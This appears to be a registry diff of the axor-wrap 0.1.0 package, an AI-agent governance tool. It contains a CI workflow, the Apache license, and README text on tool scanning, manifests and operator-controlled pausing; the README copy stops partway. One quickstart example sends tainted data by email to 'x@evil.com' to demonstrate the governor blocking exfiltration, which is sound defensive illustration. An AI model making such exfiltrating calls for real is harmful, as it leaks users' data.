axor-wrap 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. axor_wrap-0.1.0/.github/workflows/ci.yml +89 -0
  2. axor_wrap-0.1.0/.gitignore +6 -0
  3. axor_wrap-0.1.0/LICENSE +201 -0
  4. axor_wrap-0.1.0/PKG-INFO +191 -0
  5. axor_wrap-0.1.0/README.md +170 -0
  6. axor_wrap-0.1.0/axor_wrap/__init__.py +52 -0
  7. axor_wrap-0.1.0/axor_wrap/_version.py +16 -0
  8. axor_wrap-0.1.0/axor_wrap/cli.py +177 -0
  9. axor_wrap-0.1.0/axor_wrap/compile.py +148 -0
  10. axor_wrap-0.1.0/axor_wrap/connect.py +313 -0
  11. axor_wrap-0.1.0/axor_wrap/detect.py +369 -0
  12. axor_wrap-0.1.0/axor_wrap/errors.py +78 -0
  13. axor_wrap-0.1.0/axor_wrap/manifest.py +162 -0
  14. axor_wrap-0.1.0/axor_wrap/plane/__init__.py +42 -0
  15. axor_wrap-0.1.0/axor_wrap/plane/admission.py +40 -0
  16. axor_wrap-0.1.0/axor_wrap/plane/bridge.py +188 -0
  17. axor_wrap-0.1.0/axor_wrap/plane/client.py +288 -0
  18. axor_wrap-0.1.0/axor_wrap/plane/session.py +282 -0
  19. axor_wrap-0.1.0/axor_wrap/roles.py +151 -0
  20. axor_wrap-0.1.0/axor_wrap/runtime.py +126 -0
  21. axor_wrap-0.1.0/axor_wrap/schemas/tool-manifest.schema.json +76 -0
  22. axor_wrap-0.1.0/pyproject.toml +73 -0
  23. axor_wrap-0.1.0/tests/__init__.py +0 -0
  24. axor_wrap-0.1.0/tests/fixtures.py +100 -0
  25. axor_wrap-0.1.0/tests/plane/__init__.py +0 -0
  26. axor_wrap-0.1.0/tests/plane/test_admission.py +68 -0
  27. axor_wrap-0.1.0/tests/plane/test_bridge.py +73 -0
  28. axor_wrap-0.1.0/tests/plane/test_intent_loop_admission.py +159 -0
  29. axor_wrap-0.1.0/tests/plane/test_plane_client.py +146 -0
  30. axor_wrap-0.1.0/tests/plane/test_plane_session.py +162 -0
  31. axor_wrap-0.1.0/tests/test_cli.py +95 -0
  32. axor_wrap-0.1.0/tests/test_compile.py +115 -0
  33. axor_wrap-0.1.0/tests/test_connect.py +167 -0
  34. axor_wrap-0.1.0/tests/test_detect.py +125 -0
  35. axor_wrap-0.1.0/tests/test_manifest.py +83 -0
  36. axor_wrap-0.1.0/tests/test_plane_connect.py +290 -0
  37. axor_wrap-0.1.0/tests/test_roles.py +89 -0
  38. axor_wrap-0.1.0/tests/test_runtime.py +197 -0
  39. axor_wrap-0.1.0/tests/test_version.py +19 -0
  40. axor_wrap-0.1.0/uv.lock +392 -0
@@ -0,0 +1,89 @@
1
+ name: CI/CD
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ tags: ["v*.*.*"]
7
+ pull_request:
8
+ branches: [main]
9
+
10
+ jobs:
11
+ test:
12
+ name: Test (Python ${{ matrix.python-version }})
13
+ runs-on: ubuntu-latest
14
+ strategy:
15
+ matrix:
16
+ python-version: ["3.11", "3.12"]
17
+
18
+ steps:
19
+ - uses: actions/checkout@v4
20
+
21
+ - uses: actions/setup-python@v5
22
+ with:
23
+ python-version: ${{ matrix.python-version }}
24
+ cache: pip
25
+
26
+ - name: Install
27
+ # axor_wrap.plane needs axor-core >=0.10, which is not on PyPI yet
28
+ # (locally resolved via [tool.uv.sources]), so install it from git and
29
+ # the plane transport deps directly instead of the [plane] extra.
30
+ run: |
31
+ pip install -e ".[dev]"
32
+ pip install "axor-core @ git+https://github.com/Bucha11/axor-core@main"
33
+ pip install "httpx>=0.27" "cryptography>=42.0"
34
+
35
+ - name: Lint
36
+ run: ruff check axor_wrap/ tests/ --quiet
37
+
38
+ - name: Run tests
39
+ run: pytest tests/ -v --tb=short
40
+
41
+ publish:
42
+ name: Publish to PyPI
43
+ needs: test
44
+ runs-on: ubuntu-latest
45
+ if: startsWith(github.ref, 'refs/tags/v')
46
+ environment: pypi
47
+
48
+ permissions:
49
+ id-token: write
50
+
51
+ steps:
52
+ - uses: actions/checkout@v4
53
+
54
+ - uses: actions/setup-python@v5
55
+ with:
56
+ python-version: "3.12"
57
+
58
+ - name: Verify tag matches package version
59
+ run: |
60
+ python - << 'EOF'
61
+ import pathlib
62
+ import re
63
+ import sys
64
+ import tomllib
65
+
66
+ ref = "${{ github.ref_name }}"
67
+ m = re.fullmatch(r"v(\d+\.\d+\.\d+)", ref)
68
+ if not m:
69
+ print(f"Tag {ref!r} must match vX.Y.Z")
70
+ sys.exit(1)
71
+
72
+ tag_version = m.group(1)
73
+ data = tomllib.loads(pathlib.Path("pyproject.toml").read_text(encoding="utf-8"))
74
+ pkg_version = data["project"]["version"]
75
+
76
+ if tag_version != pkg_version:
77
+ print(f"Version mismatch: tag={tag_version}, pyproject={pkg_version}")
78
+ sys.exit(1)
79
+
80
+ print(f"Version check passed: {pkg_version}")
81
+ EOF
82
+
83
+ - name: Build
84
+ run: |
85
+ pip install hatchling build
86
+ python -m build
87
+
88
+ - name: Publish to PyPI
89
+ uses: pypa/gh-action-pypi-publish@release/v1
@@ -0,0 +1,6 @@
1
+ __pycache__/
2
+ *.pyc
3
+ .ruff_cache/
4
+ dist/
5
+ build/
6
+ *.egg-info/
@@ -0,0 +1,201 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or Derivative
95
+ Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "[]"
182
+ replaced with your own identifying information. (Don't include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright 2026 The Axor Authors
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,191 @@
1
+ Metadata-Version: 2.4
2
+ Name: axor-wrap
3
+ Version: 0.1.0
4
+ Summary: Wrap engine for the Axor ecosystem: scan agent code, emit tool manifests, compile governance, wrap the runtime
5
+ Project-URL: Repository, https://github.com/Bucha11/axor-wrap
6
+ License: Apache-2.0
7
+ License-File: LICENSE
8
+ Keywords: agents,ai,governance,langchain,llm,mcp,security
9
+ Requires-Python: >=3.11
10
+ Provides-Extra: dev
11
+ Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
12
+ Requires-Dist: pytest>=8.0; extra == 'dev'
13
+ Requires-Dist: ruff>=0.5; extra == 'dev'
14
+ Provides-Extra: kernel
15
+ Requires-Dist: axor-core<0.11,>=0.10; extra == 'kernel'
16
+ Provides-Extra: plane
17
+ Requires-Dist: axor-core<0.11,>=0.10; extra == 'plane'
18
+ Requires-Dist: cryptography>=42.0; extra == 'plane'
19
+ Requires-Dist: httpx>=0.27; extra == 'plane'
20
+ Description-Content-Type: text/markdown
21
+
22
+ # axor-wrap
23
+
24
+ [![PyPI](https://img.shields.io/pypi/v/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
25
+ [![Python](https://img.shields.io/pypi/pyversions/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
26
+ [![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](LICENSE)
27
+
28
+ **Wrap engine for the Axor ecosystem: point it at agent code, get tool manifests, governance config, and a kernel-gated runtime.**
29
+
30
+ Takes an agent codebase (plain Python / LangChain / MCP), statically finds its tools, and emits:
31
+
32
+ 1. **tool-manifests** — `tool-manifest/v1` files, the runnable contract [axor-lab](https://github.com/Bucha11/axor-lab) benchmarks against;
33
+ 2. **governance config** — a `GovernanceConfig`-loadable YAML and `ToolCallGovernor` kwargs, using the same manifest→config compilation semantics as axor-lab;
34
+ 3. **a wrapped runtime** — every tool call goes `evaluate → deny? → call → register_output` through the real [axor-core](https://github.com/Bucha11/axor-core) kernel;
35
+ 4. **a live governed node** — `axor_wrap.plane` speaks the Control-Plane protocol (v0.2), so the wrapped agent can attach to a plane and be paused/stopped by an operator.
36
+
37
+ Core is stdlib-only, zero dependencies. axor-core is an optional extra.
38
+
39
+ ---
40
+
41
+ ## Why one wrap serves both products
42
+
43
+ The Axor ecosystem has two consumers of the same wrapped runtime:
44
+
45
+ - **Control Plane** speaks the plane protocol: a node enrolls, receives its admitted config, and enforces per-call with `ToolCallGovernor` — the 9-gate, per-value taint engine.
46
+ - **Lab** speaks the runtime-jobs protocol (*Lab assigns, the runtime executes*): the runtime registers once, pulls experiment assignments, runs trials locally under the same governor, and pushes back kernel events + traces.
47
+
48
+ Both consume the same two artifacts this package produces: **tool manifests** (what the tools are, what they can affect) and the **compiled governor config** (which tools are egress sinks, which are untrusted sources, which arguments drive the gate). Wrap once — connect to either.
49
+
50
+ ```
51
+ agent code ──scan──► DetectedTool ──infer──► EffectGuess ──build──► tool-manifest/v1
52
+
53
+ ┌─────────────────────────┤
54
+ ▼ ▼
55
+ governor kwargs / WrappedToolset
56
+ governance YAML (axor-core gate)
57
+ │ │
58
+ Control Plane ◄── one runtime ──► Lab
59
+ ```
60
+
61
+ ### Where the plane lives, and why
62
+
63
+ The Control-Plane primitives are **here**, in `axor_wrap.plane`, not in axor-core:
64
+
65
+ | | lives in | what it is |
66
+ |---|---|---|
67
+ | `DesiredState`, `Injection`, `Excision`, `excision_refused_refs` | **axor-core** (`kernel.state`) | the lattice and provenance guard the kernel folds — enforcement reasons over these whether or not a plane exists |
68
+ | `canonicalize` (JCS/RFC 8785), `kernel.events`, `contracts.trace` | **axor-core** | the canonical bytes commands are signed over, and the schemas telemetry speaks |
69
+ | `AdmissionController` | **axor-core** (`contracts.admission`) | a pure contract, no imports — the seam `IntentLoop`/`GovernedSession` steer through |
70
+ | `PlaneSession`, `PlaneClient`, `PlaneAdmission`, `trace_to_kernel` | **axor-wrap** (`axor_wrap.plane`) | protocol-v0.2 session semantics, the outbound transport, the admission implementation, the trace→event projection |
71
+
72
+ The split exists to make one guarantee structural instead of conventional: enforcement is local and in-process, and the plane is an advisory overlay that can only *narrow* (spec 12.0). A kernel that **cannot import** a plane client cannot grow a dependency on one — so "the plane is not in the decision path" becomes a packaging fact, and axor-core keeps zero required dependencies and no network surface at all.
73
+
74
+ ## Install
75
+
76
+ ```bash
77
+ pip install axor-wrap # scanner + compiler, stdlib-only
78
+ pip install 'axor-wrap[kernel]' # + axor-core, for the wrapped runtime
79
+ pip install 'axor-wrap[plane]' # + httpx/cryptography, to attach as a live Control-Plane node
80
+ ```
81
+
82
+ ## Quickstart
83
+
84
+ ```bash
85
+ # 1. scan — what tools does this agent have, and what do they probably do?
86
+ axor-wrap scan ./my_agent
87
+ # TOOL FRAMEWORK EFFECT CONF SCHEMA SOURCE
88
+ # search_web langchain READ high high agent.py:7 langchain:@tool
89
+ # send_email langchain EXPORT high high agent.py:14 langchain:@tool
90
+ # shell implicit EXEC high low runner.py:9 implicit:subprocess.run
91
+
92
+ # 2. manifest — one tool-manifest/v1 per tool + wrap.json sidecar
93
+ axor-wrap manifest ./my_agent -o manifests/
94
+
95
+ # 3. config — GovernanceConfig-compatible YAML
96
+ axor-wrap config manifests/ > governance.yaml
97
+
98
+ # 4. connect to a Lab server (runtime-jobs protocol)
99
+ axor-wrap connect-lab --base-url http://127.0.0.1:8321 --model claude-fable-5
100
+ ```
101
+
102
+ Exit codes: `0` ok, `2` nothing found / bad input.
103
+
104
+ ### Wrapped runtime
105
+
106
+ ```python
107
+ from axor_wrap import WrappedToolset, ToolDenied, scan_project, infer_effect, build_manifest
108
+
109
+ tools = {"search_web": search_web, "send_email": send_email}
110
+ detected = scan_project(Path("./my_agent"))
111
+ manifests = [build_manifest(t, infer_effect(t)) for t in detected]
112
+
113
+ toolset = WrappedToolset(tools, manifests) # needs axor-wrap[kernel]
114
+ try:
115
+ toolset.call("send_email", {"to": "x@evil.com", "body": tainted_text})
116
+ except ToolDenied as denial:
117
+ print(denial.category, denial.reason) # e.g. taint_enforcement: ...
118
+
119
+ # or, for frameworks that own their loop (LangChain executors, MCP servers):
120
+ from axor_wrap import wrap_callables
121
+ governed = wrap_callables(tools, manifests) # drop-in callables, one shared session
122
+ ```
123
+
124
+ ## What the scanner detects
125
+
126
+ | Pattern | Framework tag |
127
+ |---|---|
128
+ | `@tool` (any alias from `langchain_core.tools` / `langchain.tools`) | `langchain` |
129
+ | `StructuredTool.from_function(...)` | `langchain` |
130
+ | `Tool(name=..., func=...)` | `langchain` |
131
+ | `@mcp.tool()` / `@server.tool()` (incl. `x = FastMCP(...)` bindings) | `mcp` |
132
+ | dict literals with `{name, description, input_schema}` | `anthropic` |
133
+ | `subprocess.run/Popen/...`, `os.system` → implicit `shell` candidate | `implicit` |
134
+
135
+ Argument schemas are inferred from type hints (`str→string`, `int→integer`, `float→number`, `bool→boolean`; default present → optional). **Honesty rule:** anything not inferable stays a bare `{"type": "object"}` with `schema_confidence: "low"` — the scanner never invents types.
136
+
137
+ ## Manifest format
138
+
139
+ The embedded schema `axor_wrap/schemas/tool-manifest.schema.json` is a verbatim copy of **`axor-lab/contracts/schemas/tool-manifest.schema.json` — the axor-lab contracts are the source of truth**; this copy only removes the cross-repo import. `validate_manifest` checks against it with a minimal own subset validator (same approach as axor-lab's `lab_contracts/subset_validator.py`; no `jsonschema` dependency).
140
+
141
+ Compilation semantics match axor-lab's `compiled_governor_config`: effect class EXPORT/EXEC (default or any `resolve` rule) → `egress_sinks`; declared `untrusted_fields` → `untrusted_sources`; `effect.driving_args` → `driving_args`; a policy allowlist → an enum `value_policy` on each sink's first driving arg.
142
+
143
+ ## Status: what's real / not yet
144
+
145
+ **Real today**
146
+
147
+ - static detection of the 6 patterns above, with signature→schema inference;
148
+ - valid `tool-manifest/v1` output + embedded-schema validation;
149
+ - governor-config compilation with axor-lab's exact mapping semantics;
150
+ - `WrappedToolset` / `wrap_callables` driving the real `ToolCallGovernor` (extra `kernel`);
151
+ - `LabRuntimeConnector` — the full runtime-jobs handshake (connect / poll / claim / events / complete), tested against a protocol stub.
152
+ - `PlaneConnector` — a **live governed node on the Control Plane** (extra `plane`), built on this package's own `axor_wrap.plane` primitives (`PlaneSession`/`PlaneClient`): it registers, heartbeats (Control's topology shows the node with a level that mirrors its posture — `NORMAL` / `CAUTIOUS` / `RESTRICTED`), and subscribes to desired state over SSE, so an operator's **pause / stop / budget-cap** is applied to the node by real plane code. `PlaneConnector.gate(toolset)` binds that posture to a wrapped runtime, so a pause/stop actually **holds real tool execution** (`AdmissionHeld`), not just a session flag. Tested against a stdlib SSE plane-backend stub that pushes a real `{paused: true}` delta.
153
+ - `PlaneConnector.post_health_check(payload)` — the out-dial half of the behavioral health check. A node that runs an [axor-probe](https://github.com/Bucha11/axor-probe) battery posts the finished verdict to the plane, which renders it on its Health panel. The payload is `axor_probe.integration.plane.health_payload(report)`; the dict is the whole contract, so axor-wrap never imports axor-probe and a node that does not probe simply never calls this. Batteries are the node's to run: the plane has no inbound path into a runtime, and a health check is not an exception.
154
+
155
+ ```python
156
+ from axor_wrap import PlaneConnector, WrappedToolset
157
+
158
+ toolset = WrappedToolset(tools, manifests) # axor-wrap[kernel]
159
+ node = PlaneConnector("https://plane.example", "node-1", # axor-wrap[plane]
160
+ operator_keys={"ops": "<ed25519-hex>"})
161
+ node.connect()
162
+ node.gate(toolset) # paused/stopped node → toolset.call raises AdmissionHeld
163
+ await node.run(ttl=180) # heartbeat + desired-state loop until stop()/ttl
164
+
165
+ # and, if this node also probes itself for behavioral drift:
166
+ from axor_probe.integration.plane import health_payload # axor-probe, optional
167
+ report = await pipeline.run(event)
168
+ if report is not None:
169
+ await node.post_health_check(health_payload(report))
170
+ ```
171
+
172
+ **Not yet / honest limits**
173
+
174
+ - **Full IntentLoop-admission on live load**: `PlaneConnector` connects and gates tool calls at the intent boundary, but the deeper axor-core path — an operator injection / excision / replan winding a running `IntentLoop` down via `GovernedSession(executor=Invokable, admission=PlaneAdmission(session))` — needs the framework to hand axor-core an `Invokable` agent brain. The wrap model gates tools while the framework owns the invocation loop, so it exposes the posture gate (`admit`) rather than owning an `IntentLoop`. Adopting the full path is a per-framework integration, not a change to this connector.
175
+ - **Role inference is a heuristic** with `UNKNOWN` as a first-class outcome; final classification is a human decision in the config builder. In the manifest an `UNKNOWN` compiles **fail-closed to `EXEC`** (the tool lands in `egress_sinks` until reviewed); the raw guess + confidence + reason survive in `wrap.json`.
176
+ - The detector covers the 6 patterns listed — dynamically registered tools (loops building `Tool(...)` from data, decorators re-exported through helper modules, tools defined in non-Python config) are out of static reach and will not be found.
177
+ - `effect.resolve` rules, `result_schema`, `sensitive_fields`, simulation/reset strategies are not auto-generated — the manifest is a reviewed starting point, not a finished contract.
178
+
179
+ ## Development
180
+
181
+ ```bash
182
+ uv run --extra dev --extra plane pytest -q # the whole suite
183
+ python -m unittest discover -s tests -t . # the stdlib-only half, no axor-core needed
184
+ ruff check .
185
+ ```
186
+
187
+ `axor_wrap.plane`'s tests came over from axor-core verbatim (they pin protocol-v0.2
188
+ governance invariants, so they were moved rather than rewritten) and are pytest-native;
189
+ everything else is stdlib `unittest`, which pytest collects too.
190
+
191
+ License: Apache-2.0.
@@ -0,0 +1,170 @@
1
+ # axor-wrap
2
+
3
+ [![PyPI](https://img.shields.io/pypi/v/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
4
+ [![Python](https://img.shields.io/pypi/pyversions/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
5
+ [![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](LICENSE)
6
+
7
+ **Wrap engine for the Axor ecosystem: point it at agent code, get tool manifests, governance config, and a kernel-gated runtime.**
8
+
9
+ Takes an agent codebase (plain Python / LangChain / MCP), statically finds its tools, and emits:
10
+
11
+ 1. **tool-manifests** — `tool-manifest/v1` files, the runnable contract [axor-lab](https://github.com/Bucha11/axor-lab) benchmarks against;
12
+ 2. **governance config** — a `GovernanceConfig`-loadable YAML and `ToolCallGovernor` kwargs, using the same manifest→config compilation semantics as axor-lab;
13
+ 3. **a wrapped runtime** — every tool call goes `evaluate → deny? → call → register_output` through the real [axor-core](https://github.com/Bucha11/axor-core) kernel;
14
+ 4. **a live governed node** — `axor_wrap.plane` speaks the Control-Plane protocol (v0.2), so the wrapped agent can attach to a plane and be paused/stopped by an operator.
15
+
16
+ Core is stdlib-only, zero dependencies. axor-core is an optional extra.
17
+
18
+ ---
19
+
20
+ ## Why one wrap serves both products
21
+
22
+ The Axor ecosystem has two consumers of the same wrapped runtime:
23
+
24
+ - **Control Plane** speaks the plane protocol: a node enrolls, receives its admitted config, and enforces per-call with `ToolCallGovernor` — the 9-gate, per-value taint engine.
25
+ - **Lab** speaks the runtime-jobs protocol (*Lab assigns, the runtime executes*): the runtime registers once, pulls experiment assignments, runs trials locally under the same governor, and pushes back kernel events + traces.
26
+
27
+ Both consume the same two artifacts this package produces: **tool manifests** (what the tools are, what they can affect) and the **compiled governor config** (which tools are egress sinks, which are untrusted sources, which arguments drive the gate). Wrap once — connect to either.
28
+
29
+ ```
30
+ agent code ──scan──► DetectedTool ──infer──► EffectGuess ──build──► tool-manifest/v1
31
+
32
+ ┌─────────────────────────┤
33
+ ▼ ▼
34
+ governor kwargs / WrappedToolset
35
+ governance YAML (axor-core gate)
36
+ │ │
37
+ Control Plane ◄── one runtime ──► Lab
38
+ ```
39
+
40
+ ### Where the plane lives, and why
41
+
42
+ The Control-Plane primitives are **here**, in `axor_wrap.plane`, not in axor-core:
43
+
44
+ | | lives in | what it is |
45
+ |---|---|---|
46
+ | `DesiredState`, `Injection`, `Excision`, `excision_refused_refs` | **axor-core** (`kernel.state`) | the lattice and provenance guard the kernel folds — enforcement reasons over these whether or not a plane exists |
47
+ | `canonicalize` (JCS/RFC 8785), `kernel.events`, `contracts.trace` | **axor-core** | the canonical bytes commands are signed over, and the schemas telemetry speaks |
48
+ | `AdmissionController` | **axor-core** (`contracts.admission`) | a pure contract, no imports — the seam `IntentLoop`/`GovernedSession` steer through |
49
+ | `PlaneSession`, `PlaneClient`, `PlaneAdmission`, `trace_to_kernel` | **axor-wrap** (`axor_wrap.plane`) | protocol-v0.2 session semantics, the outbound transport, the admission implementation, the trace→event projection |
50
+
51
+ The split exists to make one guarantee structural instead of conventional: enforcement is local and in-process, and the plane is an advisory overlay that can only *narrow* (spec 12.0). A kernel that **cannot import** a plane client cannot grow a dependency on one — so "the plane is not in the decision path" becomes a packaging fact, and axor-core keeps zero required dependencies and no network surface at all.
52
+
53
+ ## Install
54
+
55
+ ```bash
56
+ pip install axor-wrap # scanner + compiler, stdlib-only
57
+ pip install 'axor-wrap[kernel]' # + axor-core, for the wrapped runtime
58
+ pip install 'axor-wrap[plane]' # + httpx/cryptography, to attach as a live Control-Plane node
59
+ ```
60
+
61
+ ## Quickstart
62
+
63
+ ```bash
64
+ # 1. scan — what tools does this agent have, and what do they probably do?
65
+ axor-wrap scan ./my_agent
66
+ # TOOL FRAMEWORK EFFECT CONF SCHEMA SOURCE
67
+ # search_web langchain READ high high agent.py:7 langchain:@tool
68
+ # send_email langchain EXPORT high high agent.py:14 langchain:@tool
69
+ # shell implicit EXEC high low runner.py:9 implicit:subprocess.run
70
+
71
+ # 2. manifest — one tool-manifest/v1 per tool + wrap.json sidecar
72
+ axor-wrap manifest ./my_agent -o manifests/
73
+
74
+ # 3. config — GovernanceConfig-compatible YAML
75
+ axor-wrap config manifests/ > governance.yaml
76
+
77
+ # 4. connect to a Lab server (runtime-jobs protocol)
78
+ axor-wrap connect-lab --base-url http://127.0.0.1:8321 --model claude-fable-5
79
+ ```
80
+
81
+ Exit codes: `0` ok, `2` nothing found / bad input.
82
+
83
+ ### Wrapped runtime
84
+
85
+ ```python
86
+ from axor_wrap import WrappedToolset, ToolDenied, scan_project, infer_effect, build_manifest
87
+
88
+ tools = {"search_web": search_web, "send_email": send_email}
89
